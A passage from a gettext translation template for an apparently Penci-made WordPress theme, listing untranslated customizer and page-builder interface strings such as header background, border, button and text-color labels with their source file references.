#: inc/template-builder/single-elements/relatedpost.php:300
#: inc/template-builder/single-elements/share.php:91
#: inc/template-builder/single-elements/subtitle.php:68
#: inc/template-builder/single-elements/taxonomy.php:99
#: inc/template-builder/single-elements/title.php:68
msgid "Right"
msgstr ""

#: inc/builder/customizer/buider_config.php:111
#: inc/builder/customizer/buider_config.php:157
#: inc/builder/customizer/buider_config.php:204
#: inc/builder/customizer/buider_config.php:250
msgid "Element"
msgstr ""

#: inc/builder/customizer/buider_config.php:142
#: inc/builder/customizer/buider_config.php:157
msgid "Mobile "
msgstr ""

#: inc/builder/customizer/buider_config.php:188
#: inc/builder/customizer/buider_config.php:204
msgid "Desktop Sticky "
msgstr ""

#: inc/builder/customizer/buider_config.php:235
#: inc/builder/customizer/buider_config.php:250
msgid "Mobile Sidebar "
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:16
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:13
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:13
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:13
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:16
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:13
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:13
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:13
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:15
msgid "Middle Column Position"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:36
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:26
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:33
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:33
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:33
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:36
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:35
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:26
msgid " Container Width"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:52
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:40
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:47
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:47
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:47
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:52
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:51
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:40
msgid " Custom Container Width"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:74
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:60
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:25
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:25
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:25
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:74
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:36
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:36
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:36
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:73
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:60
msgid " Background Image"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:84
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:68
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:67
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:67
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:67
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:84
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:47
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:47
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:47
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:83
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:68
msgid " Background Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:93
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:75
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:93
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:92
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:75
msgid "Enable Transparent Background Color ?"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:108
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:88
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:75
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:75
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:75
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:108
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:66
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:66
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:66
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:107
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:88
msgid " Background Repeat"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:126
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:104
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:91
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:91
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:91
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:126
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:82
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:82
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:82
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:125
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:104
msgid " Background Position"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:147
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:123
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:110
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:110
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:110
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:147
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:101
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:101
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:101
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:146
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:123
msgid " Background Size"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:165
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:139
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:126
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:126
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:126
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:165
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:117
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:117
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:117
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:164
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:139
msgid " Background Attachment"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:182
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:154
#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:89
#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:86
#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:104
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:182
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:181
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:154
msgid "Spacing & Borders"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:218
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:188
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:169
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:169
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:169
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:218
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:160
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:160
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:160
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:217
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:188
msgid " Borders Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:228
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:196
#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:131
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:177
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:177
#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:132
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:177
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:228
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:168
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:168
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:168
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:227
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:196
msgid " Borders Style"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:246
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:212
#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:155
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:246
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:245
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:212
#: inc/customizer/config/sections/penci_menu_hbg_colors_section.php:16
msgid "General Text Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottombar_setting_section.php:256
#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:220
#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:201
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:200
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:200
#: inc/builder/customizer/sections/penci_header_midbar_setting_section.php:256
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:192
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:192
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:192
#: inc/builder/customizer/sections/penci_header_topbar_setting_section.php:255
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:232
msgid " Max Height"
msgstr ""

#: inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.php:14
#: inc/builder/customizer/sections/penci_header_topblockbar_setting_section.php:14
msgid " Content Direction"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:12
msgid "Enable Transparent Header( Overlap Header )"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:23
msgid "Enable Boxed Header ?"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:35
msgid "Enable Header Shadow ?"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:48
#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:54
msgid "Select Width for Boxed Header"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:69
#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:64
msgid "Boxed Header Custom Width"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_option_section.php:123
#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:122
#: inc/builder/elements/pb_button/settings.php:174
#: inc/builder/elements/pb_button_2/settings.php:179
#: inc/builder/elements/pb_button_3/settings.php:179
#: inc/builder/elements/pb_button_mobile/settings.php:178
#: inc/builder/elements/pb_button_mobile_2/settings.php:178
#: inc/builder/elements/pb_hamburger_menu/settings.php:81
#: inc/builder/elements/pb_search_form/settings.php:30
#: inc/builder/elements/pb_search_form_sidebar/settings.php:30
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:372
#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:195
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1335
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1539
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1693
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:410
#: inc/elementor/modules/penci-button/widgets/penci-button.php:437
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:832
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1000
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1143
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:282
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:923
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:985
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:271
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1016
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1131
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:315
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:187
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:379
#: inc/template-builder/single-elements/custom-field.php:262
#: inc/template-builder/single-elements/featured-overlay.php:437
#: inc/template-builder/single-elements/featured-overlay.php:481
#: inc/template-builder/single-elements/featured-overlay.php:525
#: inc/template-builder/single-elements/featured-overlay.php:570
#: inc/template-builder/single-elements/featured-overlay.php:615
#: inc/template-builder/single-elements/featured-overlay.php:660
#: inc/template-builder/single-elements/meta.php:289
#: inc/template-builder/single-elements/meta.php:333
#: inc/template-builder/single-elements/meta.php:377
#: inc/template-builder/single-elements/meta.php:422
#: inc/template-builder/single-elements/meta.php:467
#: inc/template-builder/single-elements/meta.php:512
#: inc/template-builder/single-elements/postpagination.php:171
#: inc/template-builder/single-elements/postpagination.php:196
#: inc/template-builder/single-elements/relatedpost.php:469
msgid "Borders Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:141
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:141
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:141
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:132
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:132
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:132
msgid " Spacing & Borders"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_sticky_bottom_section.php:192
#: inc/builder/customizer/sections/penci_header_desktop_sticky_mid_section.php:192
#: inc/builder/customizer/sections/penci_header_desktop_sticky_top_section.php:192
#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:183
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:183
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:183
msgid " Text Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:8
#: inc/builder/customizer/sections/penci_header_mobile_option_section.php:8
msgid "Enable Sticky Shadow ?"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:21
#: inc/builder/customizer/sections/penci_header_mobile_option_section.php:21
msgid "Hide When Scrolling Down"
msgstr ""

#: inc/builder/customizer/sections/penci_header_desktop_sticky_section.php:39
msgid "Enable Boxed Header Sticky ?"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:10
msgid "Mobile Sidebar Position"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:22
msgid "Mobile Sidebar Background Image"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:30
msgid "Mobile Sidebar Background Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:38
msgid "Mobile Sidebar Background Repeat"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:54
msgid "Mobile Sidebar Background Position"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:73
msgid "Mobile Sidebar Background Size"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:89
msgid "Mobile Sidebar Background Attachment"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:132
msgid " Mobile Sidebar Borders Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:140
msgid " Mobile Sidebar Borders Style"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:163
msgid " Mobile Sidebar Link Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_drawer_container_section.php:171
msgid " Mobile Sidebar Link Hover Color"
msgstr ""

#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:28
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:28
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:28
msgid "Sticky This Row on Scroll Down?"
msgstr ""

#: inc/builder/customizer/sections/penci_header_mobile_bottombar_setting_section.php:58
#: inc/builder/customizer/sections/penci_header_mobile_midbar_setting_section.php:58
#: inc/builder/customizer/sections/penci_header_mobile_topbar_setting_section.php:58
msgid " Background Color on Sticky"
msgstr ""

#: inc/builder/customizer/sections/penci_header_mobile_option_section.php:39
msgid "Enable Transparent Header( Overlap Mobile Header )"
msgstr ""

#: inc/builder/elements/pb_block/settings.php:10
#: inc/builder/elements/pb_block_2/settings.php:10
msgid "Select the Penci Block"
msgstr ""

#: inc/builder/elements/pb_block/settings.php:40
#: inc/builder/elements/pb_block_2/settings.php:38
#: inc/builder/elements/pb_cart_icon/settings.php:157
#: inc/builder/elements/pb_compare_icon/settings.php:157
#: inc/builder/elements/pb_date_time/settings.php:55
msgid "Item Spacing"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:8
#: inc/builder/elements/pb_button/settings.php:9
#: inc/builder/elements/pb_button_2/settings.php:9
#: inc/builder/elements/pb_button_3/settings.php:9
#: inc/builder/elements/pb_button_mobile/settings.php:9
#: inc/builder/elements/pb_button_mobile_2/settings.php:9
#: inc/customizer/config/sections/pencidesign_new_section_adblocker_section.php:27
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:539
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:50
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:51
#: inc/elementor/modules/penci-button/widgets/penci-button.php:51
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:302
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:337
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:222
#: inc/js_composer/shortcodes/big_grid/settings.php:473
#: inc/js_composer/shortcodes/button_popup/settings.php:25
#: inc/js_composer/shortcodes/pricing_table/settings.php:109
msgid "Button Text"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:24
#: inc/builder/elements/pb_button/settings.php:34
#: inc/builder/elements/pb_button_2/settings.php:34
#: inc/builder/elements/pb_button_3/settings.php:34
#: inc/builder/elements/pb_button_mobile/settings.php:34
#: inc/builder/elements/pb_button_mobile_2/settings.php:34
msgid "Link Target"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:26
#: inc/builder/elements/pb_button/settings.php:36
#: inc/builder/elements/pb_button_2/settings.php:36
#: inc/builder/elements/pb_button_mobile/settings.php:36
#: inc/builder/elements/pb_button_mobile_2/settings.php:36
msgid "Blank"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:27
#: inc/builder/elements/pb_button/settings.php:37
#: inc/builder/elements/pb_button_2/settings.php:37
#: inc/builder/elements/pb_button_mobile/settings.php:37
#: inc/builder/elements/pb_button_mobile_2/settings.php:37
msgid "Self"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:28
#: inc/builder/elements/pb_button/settings.php:38
#: inc/builder/elements/pb_button_2/settings.php:38
#: inc/builder/elements/pb_button_mobile/settings.php:38
#: inc/builder/elements/pb_button_mobile_2/settings.php:38
msgid "Parent"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:38
#: inc/builder/elements/pb_button/settings.php:207
#: inc/builder/elements/pb_button_2/settings.php:213
#: inc/builder/elements/pb_button_3/settings.php:213
#: inc/builder/elements/pb_button_mobile/settings.php:213
#: inc/builder/elements/pb_button_mobile_2/settings.php:213
#: inc/builder/elements/pb_date_time/settings.php:47
#: inc/builder/elements/pb_hamburger_menu/settings.php:50
#: inc/builder/elements/pb_html_ad/settings.php:25
#: inc/builder/elements/pb_html_ad_2/settings.php:25
#: inc/builder/elements/pb_html_ad_3/settings.php:25
#: inc/builder/elements/pb_html_ad_mobile/settings.php:25
#: inc/builder/elements/pb_html_ad_mobile_2/settings.php:25
#: inc/builder/elements/pb_search_form/settings.php:38
#: inc/builder/elements/pb_search_form_sidebar/settings.php:38
#: inc/customizer/config/sections/penci_section_header_signupform_section.php:115
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:118
#: inc/customizer/config/sections/pencidesign_general_colors_section.php:132
#: inc/customizer/config/sections/pencidesign_woo_ordercompleted_page_section.php:9
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:459
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:531
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:551
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1455
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1498
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1521
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1664
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:264
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:919
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:961
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:982
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1116
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:919
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:990
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1112
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1149
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1264
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1301
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:862
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:190
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:970
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:982
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:80
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:367
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:434
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:459
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1069
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:107
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1071
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:116
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:986
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1104
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:235
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:98
#: inc/js_composer/shortcodes/big_grid/settings.php:1076
#: inc/js_composer/shortcodes/big_grid/settings.php:1127
#: inc/js_composer/shortcodes/big_grid/settings.php:1257
#: inc/js_composer/shortcodes/custom_sliders/settings.php:348
#: inc/js_composer/shortcodes/pc_archive_description/settings.php:29
#: inc/js_composer/shortcodes/pc_single_content/settings.php:28
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:87
#: inc/js_composer/shortcodes/social_media/settings.php:224
#: inc/template-builder/archive-elements/posts.php:1072
#: inc/template-builder/archive-elements/posts.php:1090
msgid "Text Color"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:46
#: inc/builder/elements/pb_button/settings.php:215
#: inc/builder/elements/pb_button_2/settings.php:222
#: inc/builder/elements/pb_button_3/settings.php:222
#: inc/builder/elements/pb_button_mobile/settings.php:222
#: inc/builder/elements/pb_button_mobile_2/settings.php:222
#: inc/builder/elements/pb_hamburger_menu/settings.php:58
#: inc/customizer/config/sections/pencidesign_general_colors_section.php:146
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:480
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:541
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:573
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1530
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:276
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:991
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:976
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:988
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:118
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:993
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:244
#: inc/js_composer/shortcodes/big_grid/settings.php:1134
#: inc/js_composer/shortcodes/social_media/settings.php:231
#: inc/template-builder/archive-elements/posts.php:1081
#: inc/template-builder/archive-elements/posts.php:1099
msgid "Text Hover Color"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:54
#: inc/builder/elements/pb_button/settings.php:223
#: inc/builder/elements/pb_button_2/settings.php:230
#: inc/builder/elements/pb_button_3/settings.php:230
#: inc/builder/elements/pb_button_mobile/settings.php:229
#: inc/builder/elements/pb_button_mobile_2/settings.php:229
msgid "Button Font Size"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:74
#: inc/builder/elements/pb_button/settings.php:128
#: inc/builder/elements/pb_button_2/settings.php:129
#: inc/builder/elements/pb_button_3/settings.php:129
#: inc/builder/elements/pb_button_mobile/settings.php:129
#: inc/builder/elements/pb_button_mobile_2/settings.php:129
msgid "Font For Button Text"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:83
#: inc/builder/elements/pb_button/settings.php:137
#: inc/builder/elements/pb_button_2/settings.php:139
#: inc/builder/elements/pb_button_3/settings.php:139
#: inc/builder/elements/pb_button_mobile/settings.php:139
#: inc/builder/elements/pb_button_mobile_2/settings.php:139
msgid "Font Weight For Button Text"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:87
#: inc/builder/elements/pb_button/settings.php:141
#: inc/builder/elements/pb_button_2/settings.php:144
#: inc/builder/elements/pb_button_mobile/settings.php:144
#: inc/builder/elements/pb_button_mobile_2/settings.php:144
#: inc/builder/elements/pb_dropdown_menu/settings.php:43
#: inc/builder/elements/pb_login_register/settings.php:40
#: inc/builder/elements/pb_login_register_mobile/settings.php:40
#: inc/builder/elements/pb_logo/settings.php:173
#: inc/builder/elements/pb_logo_mobile/settings.php:176
#: inc/builder/elements/pb_logo_mobile/settings.php:253
#: inc/builder/elements/pb_logo_sidebar/settings.php:177
#: inc/builder/elements/pb_logo_sidebar/settings.php:253
#: inc/builder/elements/pb_logo_sticky/settings.php:153
#: inc/builder/elements/pb_main_menu/settings.php:69
#: inc/builder/elements/pb_second_menu/settings.php:70
#: inc/builder/elements/pb_third_menu/settings.php:73
#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:31
#: inc/customizer/config/sections/penci_section_spage_header_section.php:167
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:21
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:53
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:180
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:84
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:59
msgid "Bold"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:88
#: inc/builder/elements/pb_button/settings.php:142
#: inc/builder/elements/pb_button_2/settings.php:145
